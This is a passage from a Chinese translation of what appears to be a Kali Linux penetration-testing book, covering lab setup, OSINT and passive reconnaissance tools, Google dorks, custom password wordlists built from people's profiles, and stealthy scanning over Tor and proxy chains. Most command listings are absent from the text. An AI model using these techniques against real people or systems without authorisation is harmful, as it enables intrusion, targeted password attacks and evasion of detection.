图1-29　查看域用户

添加Metasploitable3Windows到域

现在，我们回到安装好的Metasploitable3Windows，可以通过以下步骤将其添加到前面新创建的域中。

1.通过编辑以太网适配器的属性，将域控制的IP地址添加到DNS设置中。这是为了解决FQDN，因为Metasploitable3需要查询域控制器进行域名解析。

2.单击Start按钮，然后右键单击“My Computer”并选择“Properties”，滚动系统属性窗口，在“Computer name,Domain and Workgroup settings”栏中选择“Change settings”，最后点击“Change”。

3.如图1-30所示，选择单选框“Domain”，然后输入域名。本例中域名为mastering.kali.thirdedition。

4.系统会提示你输入用户名和密码，我们可以用刚创建的普通用户或超级管理员登录。一旦认证通过，系统就连接到了域，任何域用户都可以登录Metasploitable3。

这里为我们提供了暴露在网络上的各种漏洞，包括：

·一个连接到域（mastering.kali.thirdedition）的易受攻击的Windows 2008 R2系统（Metasploitable3服务器）。

·一个托管在易受攻击的Windows 2008 R2服务器上易受攻击的Web应用（Metasploitable3）。

·一个运行Ubuntu14.04系统的易受攻击的Linux主机（Metasploitable3）。

·一个域控制器（包括一个域管理员和一个普通用户）。

图1-30　输入域名截图

1.9　使用Faraday管理合作渗透测试

渗透测试中最困难的方面之一，是在测试完毕后，记住测试的网络或目标系统中所有有关部分。在某些情况下，单个客户端可能会有多个渗透测试人员从多个位置执行扫描活动，此时管理层希望能有一个视图。如果所有的渗透测试人员都可以在同一网络或互联网上互相ping通，Faraday可以提供单一视图。

Faraday是一个多用户渗透测试集成开发环境（Integrated Development Environment，IDE）。它是为测试人员而设计的，用于分配、索引和分析在渗透测试或技术安全审核过程中生成的所有数据，以提供不同视角的数据，如管理、执行摘要和问题列表等。

这个IDE平台由InfoByte用Python开发，2.7.2版本默认安装了最新版的Kali Linux。你可以浏览Applications菜单，点击12-Reporting tools选项，然后点击Faraday IDE。如图1-31所示，这样就可以为测试者创建一个新的工作区。

启动Faraday就可以打开Faraday shell平台，如图1-32所示。

Faraday的一个特征是，你进行的任何扫描或组内任何其他渗透测试者的行为都可以通过点击“Faraday web”来显示信息，如图1-33所示。

Faraday社区免费版有一个局限性，即可以被人用来在一个独立环境下可视化所有的问题列表。

图1-31　创建新的Faraday工作区

图1-32　Faraday shell界面

图1-33　Faraday web界面

1.10　小结

在本章中，我们介绍了不同的测试方法，以及针对实时攻击进行测试的基于目标的测试的组织方法。我们介绍了渗透测试人员如何在多个不同平台上使用Kali Linux来评估数据系统和网络的安全性。我们已经在不同的虚拟化平台上安装了Kali，并且看到在Windows平台上使用Docker运行Linux操作系统的快捷。

我们构建了自己的验证环境，搭建了活动目录域服务（Active Directory Domain Services），也在同一网络上搭建了两个不同的虚拟机，其中一个是活动目录的一部分。最重要的是，你学习了如何使用定制的Kali工具来提高收集到的数据的安全性。我们正在努力实现制作支持我们进程的工具的目标，而不是相反的方式！

在第2章中，我们将学习如何有效利用开源情报（Open Source Intelligence，OSINT）来识别目标的易攻击面，创建特定的用户的密码列表，从暗网获取信息和实施其他利用。

第2章　开源情报和被动侦察

信息收集是从公开可用资源获取所有相关信息的一种方式，通常称为开源情报（Open Source Intelligence，OSINT）。通过OSINT的被动侦察，是进行渗透测试（或者攻击）网络（或者服务器）目标杀链的第一步。攻击者通常花费75%的时间对入侵目标进行侦察，在这一阶段，允许对目标进行定义、确定攻击目标的映射关系、探索其安全漏洞，以便最终进行漏洞利用。

侦察可以分为两种类型：

·被动侦察（直接或间接）。

·主动侦察。

被动侦察一般是指分析公开的信息，这些信息包括目标本身的信息、在线的公共资源信息。在获取这些信息时，测试者或攻击者不会与目标按不寻常的方式进行交互，他们的请求和活动不会被日志记录，也无法直接定位测试者。因此，在被动侦察中要尽可能地减少与目标的交互，与目标的交互可能会让其意识到潜在的攻击或识别到攻击者。

在本章中，你将学习被动侦察的原则与实例，主要包括如下内容：

·侦察的基本原则。

·开源情报。

·线上资源和暗网搜索。

·用脚本自动收集OSINT数据。

·获取用户相关信息。

·分析用户以获取密码列表。

·用社交媒体提取词汇。

主动侦察则与目标直接交互，将在第3章中介绍。

2.1　侦察的基本原则

在进行渗透测试或攻击数据目标时，侦察是杀链的第一步。这是在实际测试或攻击目标网络之前进行的。侦察的结果会给出需要额外侦察的方向或者指出在漏洞利用阶段要攻击的漏洞。侦察活动是与目标网络或设备交互过程的一部分。

被动侦察并不与目标网络产生直接的恶意交互。攻击者的源IP地址和活动不会被日志记录（例如，一个针对目标邮件地址的Google搜索）。在正常的商业活动中目标要想区分出哪些活动是被动侦察是困难的，或者说是不可能的。

被动侦察可进一步分为直接和间接两类。当攻击者以一种可预期的方式与目标交互时，直接被动侦察可以看作是与目标的正常交互。例如，攻击者登录公司网站、浏览不同的网页、下载用于进一步研究的文档。这些交互活动属于可预期的用户活动，很少被看作是攻击目标的前奏。间接被动侦察则绝对没有与目标系统的交互。

主动侦察涉及直接查询或其他交互活动（例如，目标网络的端口扫描）。这些活动会触发系统警报，被攻击的目标也能获取攻击者的IP地址和活动信息。在法律诉讼中，这些信息能够用来确认攻击者的身份，或抓捕攻击者。因此，测试者在主动侦察中需要额外的技术手段来确保不被发现，第3章将详细介绍主动侦察与漏洞扫描。

渗透测试人员或者攻击者一般会遵循一个结构化的信息收集过程——从广泛的信息（商业信息、监管环境信息）收集，到特定具体的信息（用户账户数据）收集。

为了提高效率，测试人员需要准确地知道他们需要找寻的信息，以及在开始收集信息前就知道这些数据怎么使用。利用被动侦察和限制收集数据的数量，能最大限度地降低被发现的风险。

2.1.1　开源情报

一般来说，渗透测试或进行攻击的第一步是开源情报收集。OSINT指的是从公共的资源，特别是互联网上，进行信息收集。可用的信息是相当多的——大多数的情报机构和军事组织正积极地在OSINT中收集目标信息，并防止自身数据泄露。

OSINT可以分为两种类型：进攻和防守。进攻型需要分析对目标进行攻击所需的所有数据，而防御型只是收集以前的违规数据和与目标相关的其他安全事件的技术。图2-1给出了OSINT的基本思维导图。

2.1.2　进攻型OSINT

需要收集的目标信息依赖于渗透测试的初始目标。例如，如果测试者想访问个人医疗记录，他们需要相关方（第三方保险公司、保健服务提供者、信息运维主管、商业供应商等）的姓名和履历资料，还有他们的用户名和密码。如果攻击路线包括社交工程学，他们可能会将这个信息详细补充上，以提供请求信息的真实性。

·域名（Domain name）：在外部场景中识别攻击者或渗透测试人员的目标是通过域名开始的，域名是OSINT中最关键的元素。

·DNS侦察和路由映射（DNS reconnaissance and route mapping）：一旦测试人员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息尽管在通用数据保护条例（GDPR）公布之后改变了很多。），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试人员或攻击者与最终目标之间的路由。

图2-1　OSINT的思维导图

搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。

在以下几节中，我们将讨论如何使用Kali Linux中的简单工具来枚举所有域名。

2.1.3　利用Sublist3r收集域资料

Sublist3r是一个基于Python的工具，可用于域捕获，即利用OSINT枚举主域名的所有子域名。该工具可以利用多种搜索引擎的API，如Google、Bing、Baidu和ASK，也可以在NetCraft、Virustotal、ThreatCrowd、DNSdumpster和reverseDNS中搜索，还可以利用特定词库实施暴力破解。

Sublist3r可以直接从GitHub下载，也可以在Kali终端中运行git clone https://github.com/aboul3la/Sublist3r/来获取。

如图2-2所示，下载并完成安装后，你就可以运行该工具来捕获目标的所有子域名。

图2-2　Sublist3r捕获子域名

2.1.4　Maltego

就个人和组织的侦察而言，Maltego是OSINT框架中最强大的之一。这是一种GUI工具集，可以通过各种方法收集个人在互联网上公开的信息。它还能够枚举域名系统（DNS），暴力破解普通DNS，并以易于阅读的格式收集来自社交媒体的数据。

如何在基于目标的渗透测试或红队练习中使用Maltego M4呢？我们可以利用此工具开发数据可视化软件，用于处理我们收集的数据。社区版会随着Kali Linux发行。访问该应用程序的最简单方法是在终端中输入maltegoce。在Maltego中，这类任务被称为变换（transform）。变换内置在工具中，被定义为执行特定任务的代码脚本。Maltego还提供多种插件，如SensePost工具集、Shodan、VirusTotal、ThreatMiner等。

利用Maltego进行信息收集的步骤如下：

1.为了访问Maltego，你需要在Paterva创建一个账户。可以通过访问https://www.paterva.com/web7/community/community.php创建一个账户。创建账户并且成功登录Maltego应用程序后，你应该可以看到如图2-3所示的屏幕截图。

2.点击Maltego CE（Free）后，你应该就准备好所有的设置了。然后，我们就可以使用社区变换（transform）了，但仅限12个。

Maltego客户端的变换中心（Transform Hub）使用户能够轻松地安装来自不同数据来源的变换。变换中心包括商业变换（收费的）和社区变换（免费的）。

3.下一步是用你的账户登录Maltego，安装成功后，你将看到如图2-4所示的界面。

4.现在单击Finish，就可以使用Maltego并运行Machine了。找到Menu文件夹下的Machines，并单击Run Machine，然后你就可以启动一个Maltego引擎的实例了。

图2-3　Maltego产品选择界面

图2-4　Maltego登录界面

图2-5显示了Maltego公共服务器提供的所有可选项。

通常，当选择Maltego公共服务器时，我们将选择以下服务：

·Company Stalker（公司跟踪）：用于获取域中的所有电子邮件地址，然后查看哪一个与社交网络有关联。它还下载并提取互联网上已发布文档的元数据。

·Find Wikipedia edits（查找维基百科编辑）：该选项将在维基百科编辑和所有社交媒体平台联合搜索。

图2-5　Maltego公共服务器提供的选项

·Footprints L1（足印L1）：执行域的基本足印。

·Fortprint L2（足印L2）：执行域的中等级别足印。

·Fortprint L3（足印L3）：这需要深入一个域，因为它占用了所有的资源，通常应小心使用。

·Fortprint XML（足印XML）：这适用于大型目标，例如托管自己的数据中心的公司，并尝试通过查看发送方策略框架（Sender Policy Framework，SPF）记录来获得网络块，以及将委派的DNS委托给其名称服务器。

·Person–Email Address（私人–电子邮件地址）：用于获取某人的电子邮件地址，并查看互联网上使用的位置。输入的不是一个域，而是一个完整的电子邮件地址。

·Prune Leaf entries（修剪条目）：提供删除网络的特定部分的选项，以帮助过滤信息。

·Twitter digger X（Twitter挖掘机X）：这是Twitter推文分析器别名。

·Twitter digger Y（Twitter挖掘机Y）：这涉及Twitter的关联，在其中发现、提取和分析推文。

·Twitter Monitor（Twitter监视器）：这可以用于执行操作来监视Twitter的主题标签（hashtag），以及围绕某个短语提到的实体。输入是短语。

·URL to Network and Domain Information（网络和域信息的URL）：这使用URL来标识域的详细信息，例如，如果你提供www.cyberhia.com，它会识别出www.cyberhia.co.uk,cyberhia.co.in等。

攻击者从Footprint L1开始，基本的任务是了解域、潜在可用的子域名和相关IP地址。以采集部分信息开始是非常好的。然而，攻击者也可以使用前面提到的其他机器来实现目标。选择机器后，单击Next并指定一个域，例如cyberhia.com。图2-6提供了cyberhia.com目录。

图2-6　cyberhia.com目录

2.1.5　OSRFramework

OSRFramework是一种由i3visio设计的通过Web接口实施开源威胁情报收集的工具，其控制台为OSRFConsole。OSRFramework可以通过运行pip install osrframework命令直接安装。

OSRFramework提供了关于关键字的多源威胁情报，并且其既可以单独使用，也可以接入Maltego使用。OSRFramework可为渗透测试者提供三个模块，以进行外部威胁情报的数据收集。

·usufy:在多个搜索引擎中搜索，识别URL中的关键字，以及自动枚举并以.csv的格式存储所有结果。图2-7显示了usufy搜索关键字cyberhia的输出结果：

图2-7　usufy搜索结果

·searchfy:在Facebook、GitHub、Instagram、Twitter和YouTube中搜索关键字。用searchfy搜索关键字cyberhia的命令如下：

·mailfy:识别关键字并自动在关键字后添加电子邮件域名，然后自动以API调用的形式在haveibeenpawned.com中搜索：

2.1.6　Web archives

网页虽然在互联网中删除，但在Google中不一定删除了。被Google访问过的页面都被备份为快照存放在Google缓存中。通常情况下，你可以根据你的搜索查询来查看Google是否可以为你提供最佳的可用页面。这同样可以用来收集关于目标的信息，例如，被采集的数据库的详细信息被发布在了sampledatadumpwebsite.com上，但该网站或该链接已经从互联网上消失了。如果Google访问过该页面，则此信息会为攻击者提供大量信息，例如用户名、哈希密码、正在使用的后端类型以及其他相关的技术和策略信息。以下链接是收集过去数据的第一级：https://web.archive.org/web/。

图2-8是cyberhia.com网站2017年3月24日在WayBack Machine保存的快照。

图2-8　cyberhia.com快照

我们将在2.2节中深入探讨Google隐藏面的内容。

2.1.7　抓取

攻击者利用从网站提取的大量数据集，进而将提取的数据存储到本地文件系统中，这种技术称为抓取或网页抓取。在下面的章节中，我们将使用Kali Linux中最常用的一些工具来完成数据抓取。

2.1.8　收集用户名和电子邮件地址

theHarvester工具是一个Python脚本，可以借助流行的搜索引擎和其他一些站点来搜索电子邮件地址、主机以及子域站点等。

使用theHarvester工具是相当简单的，只需通过几个命令参数来进行设置。可用的选项如下：

·-d：用来确定搜索的域，通常是当前域或者目标网站。

·-b：用来确定提取信息的来源，来源必须是下面的一种：Bing、BingAPI、Google、Google-Profiles、Jigsaw、LinkedIn、People123、PGP或者All。

·-l：该选项使theHarvester只收集特定数目的返回搜索结果的数据。

·-f：用来保存最后结果，保存为HTML文件或者XML文件。如果省略该选项，结果将会显示在屏幕上，但是不会被保存。

图2-9显示了对packtpub.com域的一个简单的theHarvester数据提取。

图2-9　theHarvester搜索结果

2.1.9　获取用户信息

许多渗透测试人员会收集用户名和电子邮件地址，因为这些信息经常用于登录目标系统。

最常用的工具是网页浏览器，用来手动搜索目标组织的网站，也包括第三方站点，例如LinkedIn或其他社交网络。

Kali包含的一些自动工具可以支持手动搜索。

前雇员的电子邮件地址可能仍然可以使用。在实行社会工程学攻击时，对一个前雇员的直接信息请求，通常会导致一个对攻击者的重定向，让攻击者“可信”，并可能被当作前雇员对待。此外，许多机构不能正确地终止员工账号，这些证书有可能仍会拥有访问目标系统的权限。

2.1.10　Shodan和censys.io

去哪才能找到大量的脆弱主机呢？攻击者通常会利用现有的漏洞来轻松获取系统的访问权限，所以最简单的方法之一是在Shodan中进行搜索。Shodan是最重要的搜索引擎之一，可让互联网上的任何人使用各种过滤器查找连接到互联网的设备。可以通过链接https://www.shodan.io/访问Shodan。这是全球最著名的搜索信息可选的网站之一。如果搜索到公司的名称，它将提供其数据库中具有的任何相关信息，例如，IP地址、端口号和正在运行的服务。

如图2-10所示，shodan.io网站显示了运行IIS5.0的主机，这就使攻击者缩小了攻击目标的范围，为下一步的攻击行为做好准备，相关知识我们将在后续章节学习。

图2-10　Shodan关于IIS5.0的结果

类似于Shodan，现在，我们也可以利用scans.io API做相关信息采集，或censys.io获取IPv4主机、网站认证的更多信息，以及其他存储的信息。图2-11提供了packtpub.com的相关信息。

图2-11　censys收集的packtpub.com信息

2.2　Google黑客数据库

最近，Google成了人们更新数据的方式。“Google一下”成为搜索任何未知东西或收集相关主题信息的常用词汇。在本节中，我们将详细介绍渗透测试人员如何通过dork（呆子）来利用Google。

什么是dork？

dork通常指一个人不善社交或者社交困难，又或者不关心现实中的任何事。

2.2.1　使用dork脚本来查询Google

了解Google Hacking数据库的第一步是了解所有典型的Google运算符，就像机器级编程工程师必须了解计算机操作代码一样。这些Google运算符是Google查询的一部分，搜索的语法如下：

Operator、冒号和itemthatyouwanttosearch之间没有空格。表2-1列出了所有典型的Google运算符。

表2-1　Google运算符

图2-12显示了一个简单的Google dork在日志文件中搜索用户名。

dork搜索是inurl:"/jira/login.jsp"intitle:"JIRA login"。

更具体的运算符，我们可以参考Google的指南：http://www.googleguide.com/advanced_operators_reference.html，还可以通过exploit-db利用Google黑客数据库，该数据库由安全研究社区不断更新，可在https://www.exploit-db.com/google-hacking-database/获得。

图2-12　Google dork搜索用户名

2.2.2　Data dump网站

当今世界，通过现场应用（the on-spot app），如pastebin.com，任何信息都可以在互联网上快速高效地分享。然而，这也是开发人员存储应用程序的源代码、加密密钥和其他机密信息并且无人看护的主要问题之一。这种在线信息为攻击者提供了丰富的信息列表，攻击者可以制定更集中的攻击。

归档论坛还会显示特定网站的日志，或者以前曾被黑客入侵的黑客攻击事件。Pastebin提供此类信息。图2-13显示了一个目标的机密信息列表。

图2-13　Pastebin提供的机密信息

2.2.3　使用脚本自动收集OSINT数据

在信息安全研究领域，总是会考虑如何节省收集相关信息的时间，从而把更多的时间用于关注脆弱性研究和开发。在本节中，我们将更多地关注如何自动化OSINT，使被动侦察更高效。

前一脚本加上一行循环脚本可在多个域运行，命令如下：

前面是一个非常简单的自动化脚本，利用一些Kali中的命令行工具，输出存储在多个文件中，没有数据库。然而，攻击者可以利用类似的脚本来自动化大多数命令行工具，以获取大部分信息。

2.2.4　防守型OSINT

防守型OSINT通常可以用于查看已经被掌控的内容，并且看看这些信息在渗透测试活动期间是否有价值。如果渗透测试的目标是演示真实世界的场景，那么根据这些数据可以很方便地初步识别已经掌控的类似目标。大多数组织只修复受影响的平台或主机，很多时候他们忘记了其他类似的环境。防守型OSINT大致在三个地方搜索。

1.暗网

暗网（Dark Web）是Tor服务器及其客户端之间存在的加密网络，而深网（Deep Web）仅仅提供数据库和一些Web服务内容，由于种种原因，常规搜索引擎（例如Google）无法对其进行搜索。比如，出于各种理由，用户可以在暗网上购买过期或者禁止销售的药品。某些网站（例如deepdotweb.com）提供了一些隐藏的深网链接。这些链接只能通过Tor浏览器访问。

2.安全漏洞

安全漏洞是指通过绕过底层安全机制，未经授权访问数据、应用程序、服务、网络或设备的任何事件。

黑客常访问的网站https://databases.today和https://haveibeenpwned.com就收集了大量漏洞资料。图2-14是https://databases.today网站的截图。

图2-14　https://databases.today网站

为获取目标的更多信息，测试者往往需要访问zone-h.com这类网站以获取目标的漏洞信息。例如，sidehustlewarrior.com网站就被名为孟加拉灰帽的黑客（一个地下黑客组织）篡改。图2-15显示了攻击中用到的IP地址、Web服务器和操作系统等详细信息。

图2-15　zone-h.com提供的信息

3.威胁情报

威胁情报是关于威胁一个组织的潜在的或当前的攻击的控制、计算以及提炼信息。这种情报的主要目的是确保组织意识到当前的风险，如高级持久性威胁（Advanced Persistent Threat，APT）、零日漏洞（zero day exploit），以及其他严重的外部威胁。例如，如果信用卡的信息在公司A通过APT被偷盗，公司B将会就该威胁情报得到警告，并相应提升安全级别。

然而，由于缺乏对信息来源的信任、对于威胁的概率认识，组织有可能需要花费很长时间才能做出可行的决定。在上述示例中，B公司可能有2 000家商店需要整顿或停止所有交易。

这些信息可能被攻击者利用以攻击网络。然而，这种信息被认为是被动侦察活动，因为到目前为止，还没有对目标发起直接攻击。

渗透测试或攻击者总是会订阅这类开源威胁情报的框架，如STIX、TAXII或者利用妥协指标（Indicators of Compromise，IOC）的GOSINT框架。

2.2.5　分析用户以获取密码列表

到目前为止，你已经学会了使用被动侦察来收集目标机构的用户名和个人信息，攻击者也可以做到这些。下一步就是使用这些信息来创建用户和目标的密码列表。

在Kali系统中的/usr/share/wordlists目录中存储有常用的密码列表，网上也可以下载。这些列表反映了很多用户的爱好，在转换到队列的下一个密码之前，应用程序尝试每一个可能的密码可能会非常耗时。

幸运的是，通用用户密码分析器（Common User Password Profiler，CUPP）可以让测试员针对特定的用户生成其对应的特殊单词列表（wordlist）文件。CUPP在Backtrack5r3被提出。然而在Kali中必须下载后才可使用。要获取CUPP，可输入以下命令：

这会把CUPP下载到本地目录中。

CUPP是一个Python脚本，通过以下命令，可以在CUPP目录中方便地调用：

这会以交互的方式启动CUPP，这种交互方式可以提示用户利用指定的信息元素来创建wordlist文件，如图2-16所示。

在交互模式下创建完wordlist后，会放在CUPP目录下。

图2-16　使用CUPP创建wordlist

2.3　创建自定义单词列表来破解密码

在Kali Linux中可以使用多种工具来创建自定义的单词列表，用于离线破解密码。我们先看几种典型的工具。

2.3.1　使用CeWL来映射网站

CeWL是一个Ruby应用程序，给定URL指定的深度，下面的外部链接是可选的，返回一个可以用于密码破解的单词列表，如John the Ripper。

图2-17提供了来源于cyberhia.com索引页的自定义单词列表。

图2-17　自定义单词列表

2.3.2　使用twofi从Twitter提取单词

当我们可以用Facebook、Twitter、LinkedIn等社交平台来描述一个人时，可以使用twofi（Twitter words of instest）。twofi是用Ruby脚本实现的，利用Twitter API来生成离线破解密码的单词列表。

为了使用twofi，我们必须有一个有效的Twitter API密钥和API密码。图2-18显示了如何在被动侦察期间利用twofi形成自定义的密码单词列表。在下面的示例中，我们运行twofi–m 6-u@PacktPub>filename，生成@PacktPubTwitter句柄所发布的自定义单词列表。在针对个体的攻击中，twofi将会更加强大。

图2-18　twofi的使用

2.4　小结

在攻击过程或者杀链中，真正的第一步是利用OSINT进行信息收集或探测来确定攻击目标的正确信息。被动侦察从攻击者角度提供了一个公司的实时信息。这应该是一个秘密进行的过程，即攻击者的IP地址或活动通常与正常访问几乎无法区分。这些信息对社会工程学攻击或简化其他攻击都十分有用。现在，我们已经学习了利用定制的脚本来节省时间，并且利用进攻型和防御型OSINT来实施被动侦察。

第3章我们将学习主动状态的各种侦察技术，以及如何使用利用OSINT收集到的信息。虽然主动侦察技术会带来更多信息，但也增加了被检测的风险。因此，重点是高级的隐秘技术。

第3章　外网与内网的主动侦察

主动侦察阶段是为了尽可能多地收集与目标有关的信息，以帮助杀链的攻击实施。

在第2章中，我们已经了解了如何使用OSINT完成几乎检测不到的被动侦察，这种侦察可以获取大量关于目标组织及其用户的信息。

主动侦察是建立在OSINT和被动侦察的成果之上，并侧重于使用探测来确定到达目标的路径，暴露目标的攻击面（attack surface）。在一般情况下，复杂的系统有更大的攻击面，并且每个面都可被利用和再利用，以支持其他的攻击。

虽然主动侦察会产生更多更有用的信息，但是，由于与目标系统的交互可能会被记录，并且可能会通过防火墙、入侵检测系统（IDS）、入侵阻止系统（IPS）等防护设施触发报警。当对攻击者有用的数据增加时，被检测到的风险同样增加，如图3-1所示。

为了提高提供详细的主动侦察信息的有效性，我们的重点将是使用隐形的、不易察觉的技术。

在本章中，你将学习：

·秘密扫描策略。

·外部和内部设施、主机发现和枚举。

·应用程序的综合侦察，特别是recon-ng。

·使用DHCP枚举内部主机。

·渗透测试时有用的Microsoft Windows命令。

·利用默认配置的优势。

·利用SNMP、SMB和rpcclient枚举用户。

图3-1　威胁情报与风险关系图

3.1　秘密扫描策略

被目标发现是主动侦察的最大风险。使用测试人员的时间、数据戳、源IP地址及其他附加信息，目标可能识别出侵入侦察的来源。因此，采用隐形技术，可以将被发现的概率降到最低。

当采用隐形技术侦察时，测试人员模拟黑客的行动需要做到以下几点：

·伪装工具签名来逃避检测和触发警报。

·将攻击隐藏于合法流量中。

·修改攻击，隐藏其流量的来源和类型。

·使用非标准的流量类型或加密来使攻击隐形。

秘密扫描技术包括以下几个方面的全部或部分：

·调整源IP栈和工具识别设置。

·修改数据包参数（nmap）。

·使用匿名网络代理（ProxyChains和Tor网络）。

3.1.1　调整源IP栈和工具识别设置

在渗透测试人员（或攻击人员）开始测试之前，必须保证禁用或关闭所有Kali不必要的服务。

例如，如果正在运行的不是必需的本地DHCP守护进程，那么DHCP可能与目标系统交互，这种交互可能会被记录，并且发送警报到目标的管理员。

一些商业和开源工具（例如Metasploit框架）用一个标识序列标记它们的数据包。虽然这可能对测试后分析系统的事件日志很有用（由一个特定的测试工具发起的事件可以直接与系统的事件日志进行比较，用于确定网络侦测情况并响应攻击），但是它也可能触发某些入侵检测系统。测试你的工具，用它来攻击一个实验系统，确定被标记的数据包，并且要么改变标签，要么小心使用工具。

识别标签最简单的方法是，使用工具在虚拟目标系统上创建新的应用，然后查看系统日志中与工具名称相关的记录。此外，使用Wireshark捕获攻击者和目标虚拟机之间的信息流，然后搜索抓包（packet capture，pcap）文件，寻找由测试工具产生的那些关键字（工具的名称、供应商、证书序列号等），也是一种有效的方法。

Metasploit框架中的用户代理（useragent）可以通过修改http_form_field选项改变。在msfconsole提示下，选择使用auxiliary/fuzzers/http/http_form_field选项，然后设置一个新的useragent头，如图3-2所示。

图3-2　设置新用户代理

在本示例中，useragent被设定为Google的索引爬虫——Googlebot-Image。这是一种常用的自动化应用程序，用于访问和索引网站，很少引起网站所有者的注意。

识别合法的useragent头，请参考示例：http://www.useragentstring.com。

3.1.2　修改数据包参数

主动侦察最常用的方法是对目标发动扫描——发送定义的数据包到目标，然后利用返回的数据包来获取信息。这种类型最常用的工具是网络映射器（Network Mapper，nmap）。

为了有效使用nmap，必须拥有root级别的权限。这是典型的操作数据包的应用程序，也是Kali默认以root级别启动的原因。

当试图减少检测时，用一些秘密技术来避免检测及随后的报警，包括以下内容：

·测试之前确定扫描的目标，发送需要确定目标的最小数量的数据包。例如，如果你想确认一个Web主机的存在，首先需要确定80端口——这个基于Web服务的默认端口是开放的。

·避免可能与目标系统连接的扫描，避免可能泄露数据的扫描。不要ping目标，或使用同步（SYN）和非常规数据包扫描，如确认（ACK）、完成（FIN）和复位（RST）数据包。

·随机化或掩饰包设置，如源IP和端口地址，以及MAC地址。

·调节定时以减缓目标站点包的到来。

·通过包的分解或附加随机数据来改变数据包大小，以此混淆设备对数据包的检测。

例如，如果你想进行一次秘密扫描并且最小化被检测到的可能，可以使用以下nmap命令：

表3-1详细阐述了上述的命令。

表3-1　namp命令参数简表

总之，这些选项将创建一个非常缓慢的扫描，隐藏扫描源的真实身份。然而，如果数据包太不常用、修改太多，也可能引起目标的注意。因此，许多测试者和攻击者利用匿名网络，尽量最小化被检测到的可能。

3.1.3　使用匿名网络代理

在本节中，我们将探讨攻击者在网络上保持匿名性所使用的两个重要工具——Tor和Privoxy。

Tor（www.torproject.org）是第三代洋葱路由开源软件，提供免费接入的匿名网络代理。洋葱路由加密用户流量使网络匿名，然后通过一系列的洋葱路由器发送匿名流量。在每个路由器上，删除一层加密，得到路由信息，然后再将该消息发送到下一个节点。它被比喻为逐步剥洋葱，故以此命名。它通过保护用户的IP流的源地址和目的地址，抵御流量分析的攻击。

在这个例子中，Tor会与Privoxy一起使用，这是一个非高速缓存的Web代理，位于与互联网通信的应用程序的中间，利用先进的过滤技术，保护用户隐私、移除广告，并将潜在的恶意数据发送给测试者。

要安装Tor，请执行下列步骤：

1.首先执行apt-get update和apt-get upgrade命令，然后运行下面的命令：

2.一旦安装了Tor，编辑位于/etc目录下的proxychains.conf文件。该文件规定了测试系统在使用Tor网络系统时使用代理服务器的数量和顺序。代理服务器可能停止工作，或者可能遇到重负载（导致缓慢或潜连接）。如果发生这种情况，一个清晰的或严密的ProxyChain将失效，因为预期链路丢失。因此，禁用strict_chain，并且启用dynamic_chain，这就保证了连接将被路由，如图3-3所示。

图3-3　编辑proxychains.conf文件

3.接下来，编辑[ProxyList]部分，以确保socks5代理存在，如图3-4所示。

图3-4　编辑[ProxyList]

在网上很容易找到开放代理，并添加到proxychains.conf文件中。测试人员可以利用这一优势，进一步模糊自己的身份。例如，如果有报道说某一个国家或地区的IP地址一直受到网络攻击，寻找当地的开放代理，并将它们添加到你的列表，或单独配置一个文件。

4.从终端窗口启动Tor服务，请输入以下命令：

5.使用下面的命令验证Tor已经启动：

验证Tor网络正在工作并提供匿名连接是很重要的。

6.确认你的源IP地址，从终端输入以下命令：

这将启动Iceweasel浏览器并打开一个网站，提供与网页连接的源IP地址。

7.注意IP地址，然后，使用以下的proxychains命令调用Tor路由：

在此特定实例中，IP地址被确定为xx.xx.xxx.xx。从终端窗口查询的IP地址表明，某个传播正在从Tor出口节点退出，如图3-5所示。

图3-5　查询节点的截图

通过访问https://check.torproject.org，你也可以验证Tor的功能是否正常。

虽然通信现在已经通过使用Tor网络得到保护，但当你的系统使DNS请求提供你的身份到ISP时，DNS可能发生泄漏。你可以检查DNS泄漏，地址为：www.dnsleaktest.com。

大多数命令行可以在使用proxychains访问Tor网络的控制台上运行。

在使用Tor时，要牢记如下注意事项：

·Tor提供匿名服务，但它不能保证隐私。出口节点的所有者能够发觉流量，也有可能会访问用户的凭据。

·在Tor浏览器套件中的漏洞，据称被执法部门用于探测系统并获取用户信息。

·ProxyChains不处理UDP流量。

·某些应用程序和服务无法在这样的环境下运行，实际上，Metasploit与nmap可能不能运行。nmap的隐式SYN扫描被ProxyChain终止，且连接扫描被调用。这可能会泄露信息。

·某些浏览器的应用程序（ActiveX、Adobe的PDF应用、Flash、Java、RealPlay和QuickTime），可能被用于获取你的IP地址。

·攻击者也可以使用随机链接。使用此选项，ProxyChain将从列表中随机选择IP地址（本地以太网IP，例如127.0.0.1，192.168.x.x或172.16.x.x），并用它们来创建ProxyChain。这意味着每次使用ProxyChain时，代理链将看起来与目标不同，从而更难从源头跟踪流量。

·为此，以类似的方式编辑/etc/proxychains.conf文件，将dynamic chains改为注释，取消random_chain注释，因为我们一次只能使用一个选项。

·此外，攻击者可以使用chain_len取消注释行，然后在创建一个随机代理链时确定链中的IP地址数。

这项技术可以让攻击者在网上保持匿名。

Tor-Buddy脚本允许你控制Tor IP地址的刷新频率，但是自动识别用户的信息非常困难（http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy/）。

3.2　DNS侦察和路由映射

一旦测试人员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。

DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（这些信息可以通过whois获取，尽管该行为被欧盟颁布的《通用数据保护条例》禁止），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试人员或攻击者与最终目标之间的路由。

搜集这些信息是半主动的，一些信息是免费开源的（例如DNSstuff.com），而另一些信息则来自第三方实体（例如DNS注册机构）。虽然注册机构可能会收集IP地址和关于攻击者的请求数据信息，但很少提供终端目标信息。而那些能被目标直接检测到的数据（例如DNS服务器日志）往往不会受到审查，甚至不会保留。

由于所需要的信息能被确定的系统性方法查询到，因此可以自动收集这些信息。

DNS信息可能包括旧的或者不正确的单元。为了最小化错误的信息，可以查询不同源服务器以及用不同的工具来交叉验证结果。评估结果，并人工验证任何可疑的发现。

whois命令（后GDPR时代）

